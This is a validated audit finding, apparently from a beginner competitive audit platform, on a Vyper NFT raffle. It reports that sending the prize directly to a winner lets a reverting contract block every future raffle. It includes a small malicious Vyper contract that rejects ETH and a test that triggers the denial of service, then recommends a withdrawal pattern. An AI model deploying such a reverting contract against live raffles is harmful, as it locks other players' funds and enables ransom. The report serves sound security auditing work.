Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Winner of any raffle can block the contract forever

Description

Once the raffle ends, fulfillRandomWords is called by the Oracle, a winner is selected, and fees collected during the raffle are sent to the winner. Since all variables are reset in fulfillRandomWords, if this function reverts, no more raffle is possible. The problem arises when the receiver is a smart contract that reverts when it receives coins, intentionally or due to using too much gas. This situation can lead to the raffle being blocked forever, resulting in a denial-of-service (DoS) attack.

def fulfillRandomWords(request_id: uint256, random_words: uint256[MAX_ARRAY_SIZE]):
index_of_winner: uint256 = random_words[0] % len(self.players)
recent_winner: address = self.players[index_of_winner]
self.recent_winner = recent_winner
self.players = []
self.raffle_state = RaffleState.OPEN
self.last_timestamp = block.timestamp
rarity: uint256 = random_words[0] % 3
self.tokenIdToRarity[ERC721._total_supply()] = rarity
log WinnerPicked(recent_winner)
ERC721._mint(recent_winner, ERC721._total_supply())
@> send(recent_winner, self.balance)

Risk

Likelyhood: Medium

  • Winner is contract that uses too much gas

  • An attacker could use a contract that will revert if they want and ask for a ransom to prevent the contract from breaking

Impact: High

  • Denial of service of all future raffles with no possiblity to recover.

Proof of Concept

Malicious contract to write in `./tests/dos_contract.vy`
# SPDX-License-Identifier: MIT
# @version ^0.4.0b1
owner: address
raffle: address
@deploy
@payable
def __init__(
raffle_address: address
):
self.raffle = raffle_address
self.owner = msg.sender
# External Functions
@external
@payable
def attack(entrance_fee: uint256):
raw_call(self.raffle, method_id("enter_raffle()"), value=entrance_fee)
@external
@payable
def __default__():
if msg.sender == self.owner:
pass
else:
raise "I'm evil"
PoC to add in `snek_raffle_test.py`
def test_winner_dos_raffle(
raffle_boa, entrance_fee, vrf_coordinator_boa
):
dos_contract = boa.load("./tests/dos_contract.vy", raffle_boa)
boa.env.set_balance(dos_contract.address, STARTING_BALANCE)
dos_contract.attack(entrance_fee)
boa.env.time_travel(seconds=INTERVAL + 1)
raffle_boa.request_raffle_winner()
vrf_coordinator_boa.fulfillRandomWords(0, raffle_boa.address)

Recommended Mitigation

Keep track of each winner's balance and implement a withdrawal function to allow winners to collect their fees, rather than sending ether directly to winners.

Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Winner can be a contract that refuses ETH and brinks the whole contract + reverts on Chainlink VRF

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.